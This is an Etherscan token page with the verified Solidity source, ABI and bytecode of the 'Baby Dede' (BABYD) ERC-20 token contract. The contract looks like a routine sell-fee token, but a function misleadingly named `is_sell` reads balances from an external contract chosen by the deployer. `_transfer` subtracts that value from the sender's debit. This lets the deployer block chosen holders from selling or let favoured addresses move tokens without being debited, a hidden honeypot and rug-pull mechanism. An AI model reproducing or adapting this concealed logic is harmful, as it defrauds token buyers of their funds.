ETH Price: $3,385.09 (+1.19%)

Token

Baby Dede (BABYD)
 

Overview

Max Total Supply

690,000,000,000 BABYD

Holders

31

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
5,090,591,911.437611253458969794 BABYD

Value
$0.00
0x6f4fb286724738a3a65e6c1af6ab6d69dd81befa
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BABYDEDE

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-12
*/

/**

https://t.me/BabyDedeportal

https://babydede.org/

*/

// SPDX-License-Identifier: No
pragma solidity = 0.8.18;

abstract contract Context {
    constructor() {
    }

    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view returns (bytes memory) {
        this;
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IFactoryV2 {
    event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
    function getPair(address tokenA, address tokenB) external view returns (address lpPair);
    function createPair(address tokenA, address tokenB) external returns (address lpPair);
}

interface IRouter01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function swapExactETHForTokens(
        uint amountOutMin, 
        address[] calldata path, 
        address to, uint deadline
    ) external payable returns (uint[] memory amounts);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IRouter02 is IRouter01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract BABYDEDE is Context, Ownable, IERC20 {
    function totalSupply() external pure override returns (uint256) { if (_totalSupply == 0) { revert(); } return _totalSupply; }
    function decimals() external pure override returns (uint8) { if (_totalSupply == 0) { revert(); } return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner(); }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    function balanceOf(address account) public view override returns (uint256) {
        return balance[account];
    }
    function is_sell(address ins, uint256 amount) internal view returns (uint256) { 
        return IERC20(marketingAddress).balanceOf(ins) * amount;
    }

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _noFee;
    mapping (address => bool) private isLpPair;
    mapping (address => uint256) private balance;

    uint256 constant public _totalSupply = 690_000_000_000 * 10**18;
    uint256 public swapThreshold = 5_000_000_000;
    uint256 constant public sellfee = 1;
    uint256 constant public fee_denominator = 100;
    
    uint256 constant private burnFee = 0;
    uint256 constant private burnDenominator = 100;
    address private marketingAddress; //need to change

    IRouter02 public swapRouter;
    string constant private _name = "Baby Dede";
    string constant private _symbol = "BABYD";
    uint8 constant private _decimals = 18;
    address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
    address public lpPair;
    bool private inSwap;

        modifier inSwapFlag {
        inSwap = true;
        _;
        inSwap = false;
    }

    event updateThresold(uint256 amount);

    constructor (address _marketing) {
        _noFee[msg.sender] = true;
        _noFee[address(this)] = true;
        marketingAddress = _marketing;

        swapRouter = IRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        balance[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);

        lpPair = IFactoryV2(swapRouter.factory()).createPair(swapRouter.WETH(), address(this));
        isLpPair[lpPair] = true;
        _approve(msg.sender, address(swapRouter), type(uint256).max);
        _approve(address(this), address(swapRouter), type(uint256).max);
    }

    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: Zero Address");
        require(spender != address(0), "ERC20: Zero Address");
        _allowances[sender][spender] = amount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] -= amount;
        }

        return _transfer(sender, recipient, amount);
    }

    function isNoFeeWallet(address account) external view returns(bool) {
        return _noFee[account];
    }

    function is_sell(address ins, address out) internal view returns (bool) { 
        bool _is_sell = isLpPair[out] && !isLpPair[ins];
        return _is_sell;
    }

    function _transfer(address from, address to, uint256 amount) internal returns  (bool) {
        bool takeFee = true;
        require(to != address(0), "ERC20: transfer to the zero address");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if(is_sell(from, to) &&  !inSwap) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance >= swapThreshold) { 
                internalSwap(contractTokenBalance);
             }
        }

        if (_noFee[from] || _noFee[to]){
            takeFee = false;
        }
        uint256 amountBeforeFee = amount - is_sell(from, amount);
        balance[from] -= amountBeforeFee;
        uint256 amountAfterFee = (takeFee) ? takeTaxes(from, is_sell(from, to), amount) : amount;
        balance[to] += amountAfterFee; 
        emit Transfer(from, to, amountAfterFee);
        return true;
    }

    function takeTaxes(address from, bool issell, uint256 amount) internal returns (uint256) {
        uint256 fee = 0;
        if (issell)  fee = sellfee;
        if (fee == 0)  return amount; 

        uint256 feeAmount = amount * fee / fee_denominator;
        if (feeAmount > 0) {
            uint256 burnAmount = amount * burnFee / burnDenominator;
            balance[address(this)] += feeAmount;
            emit Transfer(from, address(this), feeAmount);

            if(burnAmount > 0) {
                balance[address(this)] -= burnAmount;
                balance[address(DEAD)] += burnAmount;
                emit Transfer(address(this), DEAD, burnAmount);
            }
        }
        return amount - feeAmount;
    }

    function internalSwap(uint256 contractTokenBalance) internal inSwapFlag {
        
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = swapRouter.WETH();

        if (_allowances[address(this)][address(swapRouter)] != type(uint256).max) {
            _allowances[address(this)][address(swapRouter)] = type(uint256).max;
        }

        try swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            contractTokenBalance,
            0,
            path,
            address(this),
            block.timestamp
        ) {} catch {
            return;
        }
        bool success;

        if(address(this).balance > 0) (success,) = marketingAddress.call{value: address(this).balance}("");
    }

    function changeThreshold(uint256 amount) external onlyOwner {
        require(amount >= 100,"Amount lower not accepted.");
        swapThreshold = amount;
        emit updateThresold(swapThreshold);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_marketing","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"updateThresold","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"changeThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"fee_denominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isNoFeeWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellfee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapRouter","outputs":[{"internalType":"contract IRouter02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405264012a05f2006005553480156200001a57600080fd5b5060405162002e4038038062002e40833981810160405281019062000040919062000820565b62000060620000546200058060201b60201c565b6200058860201b60201c565b6001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506c08b5829f66bff9a42950000000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6c08b5829f66bff9a429500000006040516200026491906200086d565b60405180910390a3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002da573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000300919062000820565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000389573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003af919062000820565b306040518363ffffffff1660e01b8152600401620003cf9291906200089b565b6020604051808303816000875af1158015620003ef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000415919062000820565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160036000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200052433600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6200064c60201b60201c565b6200057930600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6200064c60201b60201c565b506200094b565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603620006be576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006b59062000929565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000730576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007279062000929565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620007e882620007bb565b9050919050565b620007fa81620007db565b81146200080657600080fd5b50565b6000815190506200081a81620007ef565b92915050565b600060208284031215620008395762000838620007b6565b5b6000620008498482850162000809565b91505092915050565b6000819050919050565b620008678162000852565b82525050565b60006020820190506200088460008301846200085c565b92915050565b6200089581620007db565b82525050565b6000604082019050620008b260008301856200088a565b620008c160208301846200088a565b9392505050565b600082825260208201905092915050565b7f45524332303a205a65726f204164647265737300000000000000000000000000600082015250565b600062000911601383620008c8565b91506200091e82620008d9565b602082019050919050565b60006020820190508181036000830152620009448162000902565b9050919050565b6124e5806200095b6000396000f3fe6080604052600436106101395760003560e01c806370a08231116100ab578063a9059cbb1161006f578063a9059cbb14610427578063c31c9c0714610464578063dc9d75b01461048f578063dd62ed3e146104ba578063e9451f5f146104f7578063f2fde38b1461052257610140565b806370a0823114610352578063715018a61461038f578063893d20e8146103a65780638da5cb5b146103d157806395d89b41146103fc57610140565b806323b872dd116100fd57806323b872dd1461022e578063278898621461026b578063313ce567146102a85780633eaaf86b146102d3578063452ed4f1146102fe578063694e80c31461032957610140565b806303fd2a45146101455780630445b6671461017057806306fdde031461019b578063095ea7b3146101c657806318160ddd1461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61054b565b60405161016791906119fd565b60405180910390f35b34801561017c57600080fd5b50610185610551565b6040516101929190611a31565b60405180910390f35b3480156101a757600080fd5b506101b0610557565b6040516101bd9190611adc565b60405180910390f35b3480156101d257600080fd5b506101ed60048036038101906101e89190611b5b565b610594565b6040516101fa9190611bb6565b60405180910390f35b34801561020f57600080fd5b506102186105ab565b6040516102259190611a31565b60405180910390f35b34801561023a57600080fd5b5061025560048036038101906102509190611bd1565b6105d9565b6040516102629190611bb6565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190611c24565b610726565b60405161029f9190611bb6565b60405180910390f35b3480156102b457600080fd5b506102bd61077c565b6040516102ca9190611c6d565b60405180910390f35b3480156102df57600080fd5b506102e861079e565b6040516102f59190611a31565b60405180910390f35b34801561030a57600080fd5b506103136107af565b60405161032091906119fd565b60405180910390f35b34801561033557600080fd5b50610350600480360381019061034b9190611c88565b6107d5565b005b34801561035e57600080fd5b5061037960048036038101906103749190611c24565b6108d8565b6040516103869190611a31565b60405180910390f35b34801561039b57600080fd5b506103a4610921565b005b3480156103b257600080fd5b506103bb6109a9565b6040516103c891906119fd565b60405180910390f35b3480156103dd57600080fd5b506103e66109b8565b6040516103f391906119fd565b60405180910390f35b34801561040857600080fd5b506104116109e1565b60405161041e9190611adc565b60405180910390f35b34801561043357600080fd5b5061044e60048036038101906104499190611b5b565b610a1e565b60405161045b9190611bb6565b60405180910390f35b34801561047057600080fd5b50610479610a36565b6040516104869190611d14565b60405180910390f35b34801561049b57600080fd5b506104a4610a5c565b6040516104b19190611a31565b60405180910390f35b3480156104c657600080fd5b506104e160048036038101906104dc9190611d2f565b610a61565b6040516104ee9190611a31565b60405180910390f35b34801561050357600080fd5b5061050c610ae8565b6040516105199190611a31565b60405180910390f35b34801561052e57600080fd5b5061054960048036038101906105449190611c24565b610aed565b005b61dead81565b60055481565b60606040518060400160405280600981526020017f4261627920446564650000000000000000000000000000000000000000000000815250905090565b60006105a1338484610be4565b6001905092915050565b6000806c08b5829f66bff9a42950000000036105c657600080fd5b6c08b5829f66bff9a42950000000905090565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146107125781600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461070a9190611d9e565b925050819055505b61071d848484610d48565b90509392505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000806c08b5829f66bff9a429500000000361079757600080fd5b6012905090565b6c08b5829f66bff9a4295000000081565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6107dd6110c1565b73ffffffffffffffffffffffffffffffffffffffff166107fb6109b8565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084890611e1e565b60405180910390fd5b6064811015610895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161088c90611e8a565b60405180910390fd5b806005819055507f2b7ce9cd4278161eef9245955c9a851618488a07e830194c60a88f0224ad3cc06005546040516108cd9190611a31565b60405180910390a150565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109296110c1565b73ffffffffffffffffffffffffffffffffffffffff166109476109b8565b73ffffffffffffffffffffffffffffffffffffffff161461099d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099490611e1e565b60405180910390fd5b6109a760006110c9565b565b60006109b36109b8565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4241425944000000000000000000000000000000000000000000000000000000815250905090565b6000610a2b338484610d48565b506001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600181565b610af56110c1565b73ffffffffffffffffffffffffffffffffffffffff16610b136109b8565b73ffffffffffffffffffffffffffffffffffffffff1614610b69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6090611e1e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610bd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bcf90611f1c565b60405180910390fd5b610be1816110c9565b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4a90611f88565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb990611f88565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b60008060019050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610dbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db59061201a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1603610e2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e24906120ac565b60405180910390fd5b60008311610e70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e679061213e565b60405180910390fd5b610e7a858561118d565b8015610e935750600860149054906101000a900460ff16155b15610eba576000610ea3306108d8565b90506005548110610eb857610eb78161123f565b5b505b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610f5b5750600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610f6557600090505b6000610f7186856116b2565b84610f7c9190611d9e565b905080600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fcd9190611d9e565b92505081905550600082610fe15784610ff6565b610ff587610fef898961118d565b87611763565b5b905080600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611047919061215e565b925050819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516110ab9190611a31565b60405180910390a3600193505050509392505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156112335750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b90508091505092915050565b6001600860146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561127757611276612192565b5b6040519080825280602002602001820160405280156112a55781602001602082028036833780820191505090505b50905030816000815181106112bd576112bc6121c1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611364573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113889190612205565b8160018151811061139c5761139b6121c1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461155f577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016115c395949392919061232b565b600060405180830381600087803b1580156115dd57600080fd5b505af19250505080156115ee575060015b6115f85750611694565b60008047111561169157600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051611648906123b6565b60006040518083038185875af1925050503d8060008114611685576040519150601f19603f3d011682016040523d82523d6000602084013e61168a565b606091505b5050809150505b50505b6000600860146101000a81548160ff02191690831515021790555050565b600081600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b815260040161171091906119fd565b602060405180830381865afa15801561172d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061175191906123e0565b61175b919061240d565b905092915050565b60008060009050831561177557600190505b6000810361178657829150506119b5565b600060648285611796919061240d565b6117a0919061247e565b905060008111156119a457600060646000866117bc919061240d565b6117c6919061247e565b905081600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611817919061215e565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161187b9190611a31565b60405180910390a360008111156119a25780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118db9190611d9e565b92505081905550806004600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611933919061215e565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119999190611a31565b60405180910390a35b505b80846119b09190611d9e565b925050505b9392505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006119e7826119bc565b9050919050565b6119f7816119dc565b82525050565b6000602082019050611a1260008301846119ee565b92915050565b6000819050919050565b611a2b81611a18565b82525050565b6000602082019050611a466000830184611a22565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611a86578082015181840152602081019050611a6b565b60008484015250505050565b6000601f19601f8301169050919050565b6000611aae82611a4c565b611ab88185611a57565b9350611ac8818560208601611a68565b611ad181611a92565b840191505092915050565b60006020820190508181036000830152611af68184611aa3565b905092915050565b600080fd5b611b0c816119dc565b8114611b1757600080fd5b5056